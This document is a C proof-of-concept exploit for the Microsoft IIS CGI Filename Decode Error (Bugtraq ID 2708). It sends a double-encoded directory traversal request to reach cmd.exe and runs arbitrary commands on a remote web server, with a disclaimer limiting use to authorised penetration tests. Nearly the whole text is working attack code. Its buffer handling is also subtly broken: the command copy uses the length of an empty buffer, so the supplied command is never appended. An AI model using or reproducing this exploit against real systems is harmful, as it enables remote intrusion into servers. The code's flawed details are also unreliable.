|
/* * * execiis.c - (c)copyright Filip Maertens * BUGTRAQ ID: 2708 - Microsoft IIS CGI Filename Decode Error * * DISCLAIMER: This is proof of concept code. This means, this code * may only be used on approved systems in order to test the availability * and integrity of machines during a legal penetration test. In no way * is the author of this exploit responsible for the use and result of * this code. * */ /* Might as well port this one too. * vacuum@technotronic.com */ #include <stdio.h> #include <stdlib.h> #ifdef WIN32 #pragma comment (lib,"Ws2_32") #include <windows.h> #include <winsock.h> #define close closesocket #else #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #endif #include <sys/types.h> #include <string.h> int main(int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *ht; char recvbuffer[1]; int create_socket; #ifdef WIN32 WSADATA WSAData; #endif char request[8192]="GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"; char cmd[1024]=""; printf("iisexec.c | Microsoft IIS CGI Filename Decode Error |\n"); printf("<filip@securax.be>\n"); if (argc < 3) { printf(" -- Usage: iisexec [hostname] [command]\n"); exit(-1); } #ifdef WIN32 if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) { printf("WSAStartup failed.\n"); WSACleanup(); exit(-1); } #endif if ((ht = gethostbyname(argv[1])) == 0) { #ifndef WIN32 herror(argv[1]); #else fprintf(stderr, "Unable to resolve host %s\n",argv[1]); #endif exit(-1); } else memcpy(&sin.sin_addr, ht->h_addr_list[0], sizeof(sin.sin_addr)); if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 ) printf(" -- Socket created.\n"); sin.sin_family = AF_INET; sin.sin_port = htons(80); if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0) printf(" -- Connection made.\n"); else { printf(" -- No connection.\n"); exit(1); } /* Modify this value to whichever sequence you want. * * %255c = %%35c = %%35%63 = %25%35%63 = / * */ strncpy(cmd, argv[2], strlen(cmd)); strncpy(request, "GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+", sizeof(request)); strncat(request, cmd, sizeof(request) - strlen(request)); strncat(request, "\n", sizeof(request) - strlen(request)); memset(recvbuffer, '\0',sizeof(recvbuffer)); printf("[%s]\n",request); send(create_socket, request, sizeof(request), 0); recv(create_socket, recvbuffer, sizeof (recvbuffer),0); if ( ( strstr(recvbuffer,"404") == NULL ) ) { printf(" -- Command output:\n\n"); while(recv(create_socket, recvbuffer, 1, 0) > 0) { printf("%c", recvbuffer[0]); } } else printf(" -- Wrong command processing. \n"); close(create_socket); exit(0); }